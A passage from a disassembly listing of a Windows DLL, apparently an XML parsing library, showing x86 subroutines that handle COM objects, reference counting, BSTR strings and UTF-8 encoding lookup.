; sub_69B3C634+163p ...
mov ecx, [ecx+4Ch]
xor eax, eax
push eax
push eax
push eax
call sub_69B49C1F
retn
sub_69B3D6C4 endp
; =============== S U B R O U T I N E =======================================
sub_69B3D6D2 proc near ; CODE XREF: sub_69B4414B+77p
; sub_69B57374+6Ep ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push esi
push edi
xor edi, edi
cmp ebx, edi
mov esi, ecx
jz short loc_69B3D6F1
test byte ptr [ebx+0Bh], 1Fh
jz short loc_69B3D6F1
push 80070057h
call sub_69B2E8B8
loc_69B3D6F1: ; CODE XREF: sub_69B3D6D2+Dj
; sub_69B3D6D2+13j
mov ecx, [esi+4Ch]
push edi
push edi
push edi
call sub_69B49C1F
cmp eax, edi
mov ecx, [esi+4Ch]
push 1
push edi
jz short loc_69B3D712
cmp ebx, edi
push eax
jz short loc_69B3D70E
push eax
jmp short loc_69B3D714
; ---------------------------------------------------------------------------
loc_69B3D70E: ; CODE XREF: sub_69B3D6D2+37j
push edi
push edi
jmp short loc_69B3D715
; ---------------------------------------------------------------------------
loc_69B3D712: ; CODE XREF: sub_69B3D6D2+32j
push edi
push edi
loc_69B3D714: ; CODE XREF: sub_69B3D6D2+3Aj
push ebx
loc_69B3D715: ; CODE XREF: sub_69B3D6D2+3Ej
call sub_69B4C674
pop edi
pop esi
pop ebx
retn 4
sub_69B3D6D2 endp
; =============== S U B R O U T I N E =======================================
sub_69B3D720 proc near ; CODE XREF: sub_69B4465C+50p
mov ecx, [ecx+4Ch]
push 0
push 4
push 0
call sub_69B49C1F
test eax, eax
jnz short loc_69B3D733
retn
; ---------------------------------------------------------------------------
loc_69B3D733: ; CODE XREF: sub_69B3D720+10j
mov edx, [eax]
mov ecx, eax
jmp dword ptr [edx+3Ch]
sub_69B3D720 endp
; =============== S U B R O U T I N E =======================================
sub_69B3D73A proc near ; DATA XREF: .text:69B12480o
; .text:69B21FF0o
arg_0 = dword ptr 4
mov eax, [ecx+0Ch]
mov ecx, [esp+arg_0]
mov [ecx], eax
retn 4
sub_69B3D73A endp
; =============== S U B R O U T I N E =======================================
sub_69B3D746 proc near ; DATA XREF: .text:69B1BFC0o
; .text:69B22088o
arg_0 = dword ptr 4
cmp dword ptr [ecx+4Ch], 0
jz short locret_69B3D763
mov eax, [esp+arg_0]
push 0
push eax
mov dword ptr [eax+18h], 1
push ecx
mov ecx, [ecx+4Ch]
call sub_69B173D1
locret_69B3D763: ; CODE XREF: sub_69B3D746+4j
retn 4
sub_69B3D746 endp
; ---------------------------------------------------------------------------
loc_69B3D766: ; DATA XREF: .text:off_69B220C0o
push edi
push dword ptr [esp+8]
mov edi, ecx
call sub_69B89EAF
mov eax, [edi+0CCh]
test eax, eax
jz short loc_69B3D79F
push esi
mov esi, [eax+0Ch]
jmp short loc_69B3D79A
; ---------------------------------------------------------------------------
loc_69B3D782: ; CODE XREF: .text:69B3D79Cj
mov ecx, [edi+0CCh]
dec esi
push esi
call sub_69B8A163
push dword ptr [esp+0Ch]
lea ecx, [eax+0Ch]
mov eax, [ecx]
call dword ptr [eax]
loc_69B3D79A: ; CODE XREF: .text:69B3D780j
test esi, esi
jnz short loc_69B3D782
pop esi
loc_69B3D79F: ; CODE XREF: .text:69B3D77Aj
pop edi
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B3D7A3 proc near ; DATA XREF: .text:69B1BFC4o
; .text:69B2208Co
cmp byte ptr [ecx+8Dh], 0
jz short locret_69B3D7B3
mov eax, [ecx]
push 3
call dword ptr [eax+6Ch]
locret_69B3D7B3: ; CODE XREF: sub_69B3D7A3+7j
retn
sub_69B3D7A3 endp
; =============== S U B R O U T I N E =======================================
sub_69B3D7B4 proc near ; CODE XREF: sub_69B3EE2A+6Ep
push 14h
push offset dword_69B3D890
call sub_69B19C5C
xor esi, esi
mov [ebp-1Ch], esi
mov eax, [ecx+60h]
mov ecx, [eax]
lea edx, [ebp-20h]
push edx
push eax
call dword ptr [ecx+2Ch]
mov edi, eax
cmp edi, esi
jl short loc_69B3D7F4
push dword ptr [ebp-20h] ; lpString
call sub_69B1A587
mov [ebp-1Ch], eax
push dword ptr [ebp-20h] ; BSTR
call SysFreeString
cmp edi, esi
jz loc_69B3D877
loc_69B3D7F4: ; CODE XREF: sub_69B3D7B4+22j
mov [ebp-4], esi
push esi
push dword ptr [ebp+0Ch]
call sub_69B2F944
pop ecx
pop ecx
mov [ebp-24h], eax
cmp eax, esi
jz short loc_69B3D873
push esi
push dword ptr [ebp-1Ch]
push eax
call sub_69B2F2CA
add esp, 0Ch
jmp short loc_69B3D870
; ---------------------------------------------------------------------------
loc_69B3D818: ; DATA XREF: .text:69B3D894o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3D821: ; DATA XREF: .text:69B3D898o
mov esp, [ebp-18h]
push 0D8h
call sub_69B17EF3
mov dword ptr [eax+8], 64h
mov ecx, eax
call sub_69B2EF86
mov esi, eax
push 10h
lea eax, [esi+0Ch]
push eax
push dword ptr [ebp+0Ch]
call sub_69B84B5F
add esp, 0Ch
push esi
call sub_69B2F0B1
xor esi, esi
push esi
push eax
push 0C00CE01Fh
call sub_69B2F944
push esi
push dword ptr [ebp-1Ch]
push eax
call sub_69B2F2CA
add esp, 18h
loc_69B3D870: ; CODE XREF: sub_69B3D7B4+62j
mov [ebp-1Ch], eax
loc_69B3D873: ; CODE XREF: sub_69B3D7B4+53j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B3D877: ; CODE XREF: sub_69B3D7B4+3Aj
push dword ptr [ebp-1Ch]
push dword ptr [ebp+0Ch]
call sub_69B1D342
call sub_69B1853C
retn 8
sub_69B3D7B4 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B3D890 dd 0FFFFFFFFh dd offset loc_69B3D818
dd offset loc_69B3D821
; =============== S U B R O U T I N E =======================================
sub_69B3D89C proc near ; CODE XREF: sub_69B3E8B5+70p
; sub_69B3E947+2Dp ...
mov ecx, [ecx+6Ch]
test ecx, ecx
jnz sub_69B2E804
xor eax, eax
retn
sub_69B3D89C endp
; =============== S U B R O U T I N E =======================================
sub_69B3D8AA proc near ; CODE XREF: sub_69B3E7B0+18p
; sub_69B3E947+Dp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
mov esi, ecx
mov ecx, [esi+0D4h]
test ecx, ecx
push edi
mov edi, [esp+8+arg_0]
jz short loc_69B3D8C2
push edi
call sub_69B8A37E
loc_69B3D8C2: ; CODE XREF: sub_69B3D8AA+10j
cmp [esp+8+arg_4], 0
jnz short loc_69B3D8E7
mov ecx, [esi+0D8h]
test ecx, ecx
jz short loc_69B3D8E7
push edi
call sub_69B8A37E
push 0
add edi, 0D0h
push edi
call sub_69B2DEB2
loc_69B3D8E7: ; CODE XREF: sub_69B3D8AA+1Dj
; sub_69B3D8AA+27j
pop edi
pop esi
retn 8
sub_69B3D8AA endp
; =============== S U B R O U T I N E =======================================
sub_69B3D8EC proc near ; CODE XREF: sub_69B3E8B5+Dp
; sub_69B4FDBC+6FCp ...
mov eax, [ecx+0D4h]
test eax, eax
jz short loc_69B3D900
cmp dword ptr [eax+0Ch], 0
jle short loc_69B3D900
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_69B3D900: ; CODE XREF: sub_69B3D8EC+8j
; sub_69B3D8EC+Ej
xor eax, eax
retn
sub_69B3D8EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3D903 proc near ; CODE XREF: sub_69B49F3F+AAp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ecx+0E4h], 1
lea eax, [ecx+30h]
setz byte ptr [ebp+var_4]
cmp dword ptr [eax], 0
push esi
jz short loc_69B3D952
push 0 ; Value
push eax ; Target
call ds:InterlockedExchange ; InterlockedExchange
mov esi, eax
test esi, esi
jz short loc_69B3D952
push edi
mov ecx, esi
call sub_69B183BB
cmp byte ptr [ebp+var_4], 0
jz short loc_69B3D93F
call sub_69B5EA90
jmp short loc_69B3D944
; ---------------------------------------------------------------------------
loc_69B3D93F: ; CODE XREF: sub_69B3D903+33j
call sub_69B60B2D
loc_69B3D944: ; CODE XREF: sub_69B3D903+3Aj
mov edi, eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+1Ch]
cmp eax, edi
pop edi
jz short loc_69B3D95E
loc_69B3D952: ; CODE XREF: sub_69B3D903+16j
; sub_69B3D903+25j
push 0
push [ebp+var_4]
call sub_69B3D17C
mov esi, eax
loc_69B3D95E: ; CODE XREF: sub_69B3D903+4Dj
mov eax, esi
pop esi
leave
retn
sub_69B3D903 endp
; =============== S U B R O U T I N E =======================================
sub_69B3D963 proc near ; CODE XREF: sub_69B4639C+4Ap
; sub_69B4639C+96p
arg_0 = dword ptr 4
push esi
mov esi, ecx
lea ecx, [esi+90h]
cmp dword ptr [ecx], 0
jz short loc_69B3D982
push [esp+4+arg_0]
call sub_69B3D4F8
test al, al
jz short loc_69B3D982
xor eax, eax
jmp short loc_69B3D985
; ---------------------------------------------------------------------------
loc_69B3D982: ; CODE XREF: sub_69B3D963+Cj
; sub_69B3D963+19j
mov eax, [esi+3Ch]
loc_69B3D985: ; CODE XREF: sub_69B3D963+1Dj
pop esi
retn 4
sub_69B3D963 endp
; =============== S U B R O U T I N E =======================================
sub_69B3D989 proc near ; CODE XREF: sub_69B3E0AB+B3p
; sub_69B3E475+3Ap ...
push esi
push edi
push dwTlsIndex
mov edi, ecx
call dword_69B92970
mov esi, [eax+40h]
push esi
lea ecx, [edi+90h]
call sub_69B3D3EB
test eax, eax
jz short loc_69B3D9B2
push eax
call sub_69B2E8B8
loc_69B3D9B2: ; CODE XREF: sub_69B3D989+21j
pop edi
mov eax, esi
pop esi
retn
sub_69B3D989 endp
; =============== S U B R O U T I N E =======================================
sub_69B3D9B7 proc near ; CODE XREF: sub_69B3E1E4+37p
; sub_69B3E475+96p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
push esi
mov esi, ecx
jnz short loc_69B3D9D1
push dwTlsIndex
call dword_69B92970
mov eax, [eax+40h]
loc_69B3D9D1: ; CODE XREF: sub_69B3D9B7+9j
push eax
lea ecx, [esi+90h]
call sub_69B3D4AB
pop esi
retn 4
sub_69B3D9B7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B3F0EC
loc_69B3D9E1: ; CODE XREF: sub_69B3F0EC+6j
; sub_69B3F0F7+6j ...
push esi
mov esi, ecx
push 0
push esi
call sub_69B17320
cmp [esp+4+arg_0], 0
jz short loc_69B3DA14
push 1Ch
call sub_69B1D897
test eax, eax
jz short loc_69B3DA10
push [esp+4+arg_0]
mov ecx, eax
push offset dword_69B2AFE0
call sub_69B881B2
jmp short loc_69B3DA12
; ---------------------------------------------------------------------------
loc_69B3DA10: ; CODE XREF: sub_69B3F0EC-16F0j
xor eax, eax
loc_69B3DA12: ; CODE XREF: sub_69B3F0EC-16DEj
mov [esi], eax
loc_69B3DA14: ; CODE XREF: sub_69B3F0EC-16FBj
pop esi
retn 4
; END OF FUNCTION CHUNK FOR sub_69B3F0EC
; =============== S U B R O U T I N E =======================================
sub_69B3DA18 proc near ; CODE XREF: sub_69B16A74+4Dp
; sub_69B3DC8C+3Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_4]
test edx, edx
mov eax, [esp+arg_0]
push esi
mov esi, ecx
jnz short loc_69B3DA2A
mov edx, [eax+10h]
loc_69B3DA2A: ; CODE XREF: sub_69B3DA18+Dj
push [esp+4+arg_8]
mov ecx, [eax+14h]
mov eax, [eax+10h]
push edx
push eax
mov eax, [ecx]
call dword ptr [eax+2Ch]
push eax
mov ecx, esi
call sub_69B4D7A3
pop esi
retn 0Ch
sub_69B3DA18 endp
; =============== S U B R O U T I N E =======================================
sub_69B3DA47 proc near ; CODE XREF: sub_69B435DC+ECp
; sub_69B4E634+14Bp ...
arg_0 = dword ptr 4
push [esp+arg_0]
mov ecx, dword_69B95A84
call sub_69B1A954
mov eax, [eax]
retn 4
sub_69B3DA47 endp
; =============== S U B R O U T I N E =======================================
sub_69B3DA5B proc near ; CODE XREF: sub_69B3DADB+49p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B4E278
mov dword ptr [esi], offset off_69B123DC
mov dword ptr [esi+4], offset off_69B279C4
and dword ptr [esi+50h], 0
mov eax, esi
pop esi
retn 4
sub_69B3DA5B endp
; =============== S U B R O U T I N E =======================================
sub_69B3DA7E proc near ; DATA XREF: .text:off_69B279C4o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B3DA9D
test [esp+4+arg_0], 1
jz short loc_69B3DA96
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B3DA96: ; CODE XREF: sub_69B3DA7E+Dj
lea eax, [esi-4]
pop esi
retn 4
sub_69B3DA7E endp
; =============== S U B R O U T I N E =======================================
sub_69B3DA9D proc near ; CODE XREF: sub_69B3DA7E+3p
push esi
mov esi, ecx
lea eax, [esi+4Ch]
push eax
mov dword ptr [esi-4], offset off_69B123DC
mov dword ptr [esi], offset off_69B279C4
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B4E344
sub_69B3DA9D endp
; =============== S U B R O U T I N E =======================================
sub_69B3DABE proc near ; CODE XREF: sub_69B14EAC+F2p
; sub_69B173D1+6B4p ...
push esi
lea esi, [ecx+88h]
cmp dword ptr [esi], 0
jnz short loc_69B3DAD7
push ecx
call sub_69B8BEFC
push eax
push esi
call sub_69B17320
loc_69B3DAD7: ; CODE XREF: sub_69B3DABE+Aj
mov eax, [esi]
pop esi
retn
sub_69B3DABE endp
; =============== S U B R O U T I N E =======================================
sub_69B3DADB proc near ; CODE XREF: sub_69B3DE0E+44p
; sub_69B3E825+59p
push 48h
push offset dword_69B3DC80
call sub_69B19C5C
mov esi, ecx
mov ebx, [ebp+8]
xor edi, edi
cmp ebx, edi
setz al
mov [esi+85h], al
mov [ebp-1Ch], edi
mov [ebp-20h], edi
mov [ebp-4], edi
mov al, [esi+8Dh]
mov [ebp-21h], al
test al, al
jz loc_69B3DC0C
push 54h
call sub_69B1D897
mov [ebp-28h], eax
cmp eax, edi
jz short loc_69B3DB2B
push esi
mov ecx, eax
call sub_69B3DA5B
jmp short loc_69B3DB2D
; ---------------------------------------------------------------------------
loc_69B3DB2B: ; CODE XREF: sub_69B3DADB+44j
xor eax, eax
loc_69B3DB2D: ; CODE XREF: sub_69B3DADB+4Ej
mov [ebp-1Ch], eax
cmp ebx, edi
jz short loc_69B3DB88
lea edi, [esi+88h]
mov ecx, ebx
call sub_69B3DABE
push eax
mov ecx, edi
call sub_69B199CC
mov byte ptr [esi+8Fh], 1
push 28h
call sub_69B1D897
mov [ebp-2Ch], eax
test eax, eax
jz short loc_69B3DB83
mov eax, [esi+70h]
mov [ebp-30h], eax
mov ecx, [ebx+70h]
mov [ebp-34h], ecx
mov edi, [edi]
mov [ebp-38h], edi
push esi
push dword ptr [ebp+0Ch]
push eax
push ecx
push edi
push dword ptr [ebp-1Ch]
mov ecx, [ebp-2Ch]
call sub_69B5CDA6
jmp short loc_69B3DB85
; ---------------------------------------------------------------------------
loc_69B3DB83: ; CODE XREF: sub_69B3DADB+81j
xor eax, eax
loc_69B3DB85: ; CODE XREF: sub_69B3DADB+A6j
mov [ebp-20h], eax
loc_69B3DB88: ; CODE XREF: sub_69B3DADB+57j
cmp byte ptr [esi+8Fh], 0
jnz short loc_69B3DB9F
mov ecx, esi
call sub_69B3DABE
mov ecx, eax
call sub_69B8B632
loc_69B3DB9F: ; CODE XREF: sub_69B3DADB+B4j
push 4Ch
call sub_69B1D897
mov [ebp-3Ch], eax
test eax, eax
jz short loc_69B3DBD2
mov edi, [ebp-20h]
test edi, edi
jnz short loc_69B3DBB7
mov edi, [ebp-1Ch]
loc_69B3DBB7: ; CODE XREF: sub_69B3DADB+D7j
mov eax, [esi+70h]
mov [ebp-40h], eax
push eax
mov ecx, esi
call sub_69B3DABE
push eax
push edi
push esi
mov ecx, [ebp-3Ch]
call sub_69B4F64F
jmp short loc_69B3DBD4
; ---------------------------------------------------------------------------
loc_69B3DBD2: ; CODE XREF: sub_69B3DADB+D0j
xor eax, eax
loc_69B3DBD4: ; CODE XREF: sub_69B3DADB+F5j
lea edi, [esi+5Ch]
push eax
mov ecx, edi
call sub_69B199CC
mov esi, [esi+88h]
mov eax, esi
mov [ebp-44h], eax
mov eax, [eax+38h]
mov [ebp-48h], eax
test eax, eax
jnz short loc_69B3DC31
mov [ebp-4Ch], esi
mov eax, [ebp-1Ch]
mov [ebp-50h], eax
lea ecx, [esi+38h]
mov [ebp-54h], ecx
push eax
push ecx
call sub_69B17320
jmp short loc_69B3DC31
; ---------------------------------------------------------------------------
loc_69B3DC0C: ; CODE XREF: sub_69B3DADB+32j
push 48h
call sub_69B1D897
mov [ebp-58h], eax
cmp eax, edi
jz short loc_69B3DC24
push esi
mov ecx, eax
call sub_69B4EE6F
jmp short loc_69B3DC26
; ---------------------------------------------------------------------------
loc_69B3DC24: ; CODE XREF: sub_69B3DADB+13Dj
xor eax, eax
loc_69B3DC26: ; CODE XREF: sub_69B3DADB+147j
lea edi, [esi+5Ch]
push eax
mov ecx, edi
call sub_69B199CC
loc_69B3DC31: ; CODE XREF: sub_69B3DADB+117j
; sub_69B3DADB+12Fj
mov edi, [edi]
mov eax, [edi]
push edi
call dword ptr [eax+8]
jmp short loc_69B3DC5E
; ---------------------------------------------------------------------------
loc_69B3DC3B: ; DATA XREF: .text:69B3DC84o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B3DC44: ; DATA XREF: .text:69B3DC88o
mov esp, [ebp-18h]
lea eax, [ebp-1Ch]
push eax
call sub_69B17230
lea eax, [ebp-20h]
push eax
call sub_69B17230
call sub_69B2E860
loc_69B3DC5E: ; CODE XREF: sub_69B3DADB+15Ej
or dword ptr [ebp-4], 0FFFFFFFFh
lea eax, [ebp-1Ch]
push eax
call sub_69B17230
lea eax, [ebp-20h]
push eax
call sub_69B17230
call sub_69B1853C
retn 8
sub_69B3DADB endp
; ---------------------------------------------------------------------------
align 10h
dword_69B3DC80 dd 0FFFFFFFFh dd offset loc_69B3DC3B
dd offset loc_69B3DC44
; =============== S U B R O U T I N E =======================================
sub_69B3DC8C proc near ; CODE XREF: sub_69B3DD3A+Cp
; sub_69B3EBB0+3p ...
arg_0 = byte ptr 4
push ebx
push esi
xor ebx, ebx
push ebx
mov esi, ecx
mov ecx, [esi+4Ch]
push 12h
push ebx
call sub_69B49C1F
cmp eax, ebx
jnz short loc_69B3DCEC
cmp [esp+8+arg_0], bl
jz short loc_69B3DCEA
push edi
mov edi, dword_69B95A84
cmp dword ptr [edi+8], 5
jg short loc_69B3DCBA
call sub_69B2E6D8
loc_69B3DCBA: ; CODE XREF: sub_69B3DC8C+27j
mov eax, [edi+20h]
mov ecx, [esi+70h]
push 1
push ebx
push ebx
push ebx
push ebx
push eax
call sub_69B3DA18
push eax
push 5
mov ecx, esi
call sub_69B3D2F2
mov ecx, [esi+4Ch]
mov edi, eax
mov eax, [ecx]
push ebx
push edi
call dword ptr [eax+80h]
mov eax, edi
pop edi
jmp short loc_69B3DCEC
; ---------------------------------------------------------------------------
loc_69B3DCEA: ; CODE XREF: sub_69B3DC8C+1Aj
xor eax, eax
loc_69B3DCEC: ; CODE XREF: sub_69B3DC8C+14j
; sub_69B3DC8C+5Cj
pop esi
pop ebx
retn 4
sub_69B3DC8C endp
; =============== S U B R O U T I N E =======================================
sub_69B3DCF1 proc near ; CODE XREF: sub_69B173D1+372p
; sub_69B173D1+3A8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
push edi
mov edi, [esp+8+arg_4]
push edi
mov ecx, esi
call dword ptr [eax+0A4h]
test eax, eax
jnz short loc_69B3DD2E
mov ecx, [edi+14h]
mov eax, [ecx]
call dword ptr [eax+2Ch]
mov ecx, eax
call sub_69B2F266
push eax
call sub_69B1A2EC
mov edx, [esi]
push eax
mov ecx, esi
call dword ptr [edx+0A4h]
test eax, eax
jz short loc_69B3DD35
loc_69B3DD2E: ; CODE XREF: sub_69B3DCF1+17j
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
loc_69B3DD35: ; CODE XREF: sub_69B3DCF1+3Bj
pop edi
pop esi
retn 8
sub_69B3DCF1 endp
; =============== S U B R O U T I N E =======================================
sub_69B3DD3A proc near ; CODE XREF: sub_69B3DEBD+Ep
; sub_69B44418+4Dp
push esi
mov esi, ecx
cmp dword ptr [esi+58h], 0
push edi
jnz short loc_69B3DD6E
push 0
call sub_69B3DC8C
mov edi, eax
test edi, edi
jz short loc_69B3DD6E
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 3
mov esi, eax
jg short loc_69B3DD63
call sub_69B2E6D8
loc_69B3DD63: ; CODE XREF: sub_69B3DD3A+22j
push dword ptr [esi+18h]
push edi
call sub_69B3DCF1
jmp short loc_69B3DD71
; ---------------------------------------------------------------------------
loc_69B3DD6E: ; CODE XREF: sub_69B3DD3A+8j
; sub_69B3DD3A+15j
mov eax, [esi+58h]
loc_69B3DD71: ; CODE XREF: sub_69B3DD3A+32j
pop edi
pop esi
retn
sub_69B3DD3A endp
; =============== S U B R O U T I N E =======================================
sub_69B3DD74 proc near ; CODE XREF: sub_69B444E4+6Dp
arg_0 = dword ptr 4
push [esp+arg_0]
add ecx, 58h
push ecx
call sub_69B17320
retn 4
sub_69B3DD74 endp
; =============== S U B R O U T I N E =======================================
sub_69B3DD84 proc near ; CODE XREF: sub_69B6F543+54p
; sub_69B73BF4+2Ep ...
cmp dword ptr [ecx+6Ch], 0
jnz short loc_69B3DD94
cmp dword ptr [ecx+40h], 4
jnz short loc_69B3DD94
mov eax, [ecx+48h]
retn
; ---------------------------------------------------------------------------
loc_69B3DD94: ; CODE XREF: sub_69B3DD84+4j
; sub_69B3DD84+Aj
xor eax, eax
retn
sub_69B3DD84 endp
; =============== S U B R O U T I N E =======================================
sub_69B3DD97 proc near ; CODE XREF: sub_69B3DE0E+Bp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
push dword ptr [esi+0E0h]
push edi
push offset stru_69B25E84
call sub_69B3D196
test eax, eax
jnz short loc_69B3DE09
cmp [esi+1Ch], eax
jz short loc_69B3DDDF
cmp [esi+18h], eax
jnz short loc_69B3DDC6
lea ecx, [esi+0Ch]
call sub_69B8A014
loc_69B3DDC6: ; CODE XREF: sub_69B3DD97+25j
mov ecx, [esi+18h]
test ecx, ecx
jnz short loc_69B3DDD4
mov ecx, [esi+14h]
test ecx, ecx
jz short loc_69B3DDDF
loc_69B3DDD4: ; CODE XREF: sub_69B3DD97+34j
mov eax, [edi]
push dword ptr [ecx+0Ch]
mov edx, [eax]
push eax
call dword ptr [edx+74h]
loc_69B3DDDF: ; CODE XREF: sub_69B3DD97+20j
; sub_69B3DD97+3Bj
mov ecx, [esi+1Ch]
mov eax, [edi]
mov [eax+0BCh], ecx
mov esi, [esi+14h]
test esi, esi
jz short loc_69B3DE07
mov eax, [esi]
push esi
call dword ptr [eax+4]
push dword ptr [esi+0Ch] ; lpString
mov ecx, [edi]
call sub_69B37495
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B3DE07: ; CODE XREF: sub_69B3DD97+58j
xor eax, eax
loc_69B3DE09: ; CODE XREF: sub_69B3DD97+1Bj
pop edi
pop esi
retn 4
sub_69B3DD97 endp
; =============== S U B R O U T I N E =======================================
sub_69B3DE0E proc near ; CODE XREF: sub_69B1C12C+3043p
; sub_69B3EBE4+39p ...
arg_0 = dword ptr 4
push ebx
push ebp
mov ebp, [esp+8+arg_0]
push esi
push edi
push ebp
mov esi, ecx
call sub_69B3DD97
xor ebx, ebx
cmp eax, ebx
jge short loc_69B3DE2A
push eax
call sub_69B2E8B8
loc_69B3DE2A: ; CODE XREF: sub_69B3DE0E+14j
push dword ptr [ebp+0]
lea edi, [esi+60h]
push edi
call sub_69B17320
mov eax, [edi]
push dword ptr [esi+4Ch]
mov ecx, [eax]
push eax
call dword ptr [ecx+58h]
cmp [esi+5Ch], ebx
jz short loc_69B3DE4E
cmp [esi+85h], bl
jz short loc_69B3DE57
loc_69B3DE4E: ; CODE XREF: sub_69B3DE0E+36j
push ebx
push ebx
mov ecx, esi
call sub_69B3DADB
loc_69B3DE57: ; CODE XREF: sub_69B3DE0E+3Ej
mov ecx, [esi+70h]
cmp ecx, ebx
jz short loc_69B3DE63
call sub_69B1A72A
loc_69B3DE63: ; CODE XREF: sub_69B3DE0E+4Ej
mov eax, [edi]
push dword ptr [esi+5Ch]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
xor eax, eax
cmp [esi+7Fh], bl
jnz short loc_69B3DE78
push 8
pop eax
loc_69B3DE78: ; CODE XREF: sub_69B3DE0E+65j
cmp [esi+7Ch], bl
jz short loc_69B3DE80
or eax, 4
loc_69B3DE80: ; CODE XREF: sub_69B3DE0E+6Dj
cmp [esi+7Eh], bl
jz short loc_69B3DE88
or eax, 10h
loc_69B3DE88: ; CODE XREF: sub_69B3DE0E+75j
cmp [esi+80h], bl
jz short loc_69B3DE93
or eax, 2
loc_69B3DE93: ; CODE XREF: sub_69B3DE0E+80j
cmp [esi+7Dh], bl
jnz short loc_69B3DE9D
cmp [esi+68h], ebx
jz short loc_69B3DEA0
loc_69B3DE9D: ; CODE XREF: sub_69B3DE0E+88j
or eax, 40h
loc_69B3DEA0: ; CODE XREF: sub_69B3DE0E+8Dj
cmp [esi+81h], bl
jz short loc_69B3DEAD
or eax, 0FFh
loc_69B3DEAD: ; CODE XREF: sub_69B3DE0E+98j
mov edi, [edi]
mov ecx, [edi]
push eax
push edi
call dword ptr [ecx+70h]
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_69B3DE0E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3DEBD proc near ; CODE XREF: sub_69B3DFBE+1Bp
; sub_69B3E662+81p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_4]
test esi, esi
push edi
mov edi, ecx
jnz short loc_69B3DEE2
call sub_69B3DD3A
mov esi, eax
test esi, esi
jnz short loc_69B3DEE2
push offset aUtf8 ; "UTF-8"
call sub_69B1A587
mov esi, eax
loc_69B3DEE2: ; CODE XREF: sub_69B3DEBD+Cj
; sub_69B3DEBD+17j
mov eax, [esi+0Ch]
lea ecx, [ebp+arg_4]
push ecx ; int
push eax ; lpString
push [ebp+arg_0] ; int
call sub_69B39B6B
test eax, eax
jge short loc_69B3DF02
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B3DF02: ; CODE XREF: sub_69B3DEBD+37j
push esi
push dword ptr [edi+78h]
push [ebp+arg_4]
call sub_69B8A894
mov esi, eax
mov eax, [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
pop edi
mov eax, esi
pop esi
pop ebp
retn 8
sub_69B3DEBD endp
; =============== S U B R O U T I N E =======================================
sub_69B3DF21 proc near ; CODE XREF: sub_69B3E0AB+C0p
; sub_69B3F10D+6Bp ...
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi+60h]
mov eax, [edi]
xor ebx, ebx
cmp eax, ebx
jz short loc_69B3DF42
mov ecx, [eax]
push eax
call dword ptr [ecx+64h]
test eax, eax
jz short loc_69B3DF42
push ebx
push edi
call sub_69B17320
loc_69B3DF42: ; CODE XREF: sub_69B3DF21+Ej
; sub_69B3DF21+18j
push ebx
lea eax, [esi+6Ch]
push eax
call sub_69B17320
push ebx
lea eax, [esi+34h]
push eax
call sub_69B17320
push ebx
lea eax, [esi+44h]
push eax
mov [esi+84h], bl
call sub_69B17320
push ebx
lea eax, [esi+48h]
push eax
call sub_69B17320
pop edi
mov byte ptr [esi+38h], 1
pop esi
pop ebx
retn
sub_69B3DF21 endp
; =============== S U B R O U T I N E =======================================
sub_69B3DF78 proc near ; CODE XREF: sub_69B3EE2A+98p
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp [esi+84h], bl
jnz short loc_69B3DF90
push ebx
lea eax, [esi+60h]
push eax
call sub_69B17320
loc_69B3DF90: ; CODE XREF: sub_69B3DF78+Cj
cmp [esi+85h], bl
jz short loc_69B3DFA2
push ebx
lea eax, [esi+5Ch]
push eax
call sub_69B17320
loc_69B3DFA2: ; CODE XREF: sub_69B3DF78+1Ej
cmp [esi+0D0h], ebx
jnz short loc_69B3DFBB
mov ecx, esi
call sub_69B3DABE
add eax, 38h
push ebx
push eax
call sub_69B17320
loc_69B3DFBB: ; CODE XREF: sub_69B3DF78+30j
pop esi
pop ebx
retn
sub_69B3DF78 endp
; =============== S U B R O U T I N E =======================================
sub_69B3DFBE proc near ; DATA XREF: .text:69B124C8o
; .text:69B22038o
push 10h
push offset dword_69B3E038
call sub_69B19C5C
mov edi, ecx
mov [ebp-1Ch], edi
lea esi, [edi-24h]
push 0
push dword ptr [ebp+8]
mov ecx, esi
call sub_69B3DEBD
mov [ebp-20h], eax
and dword ptr [ebp-4], 0
mov eax, [esi]
push dword ptr [ebp-20h]
mov ecx, esi
call dword ptr [eax+40h]
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B3E015
; ---------------------------------------------------------------------------
loc_69B3DFF5: ; DATA XREF: .text:69B3E03Co
push dword ptr [ebp-14h]
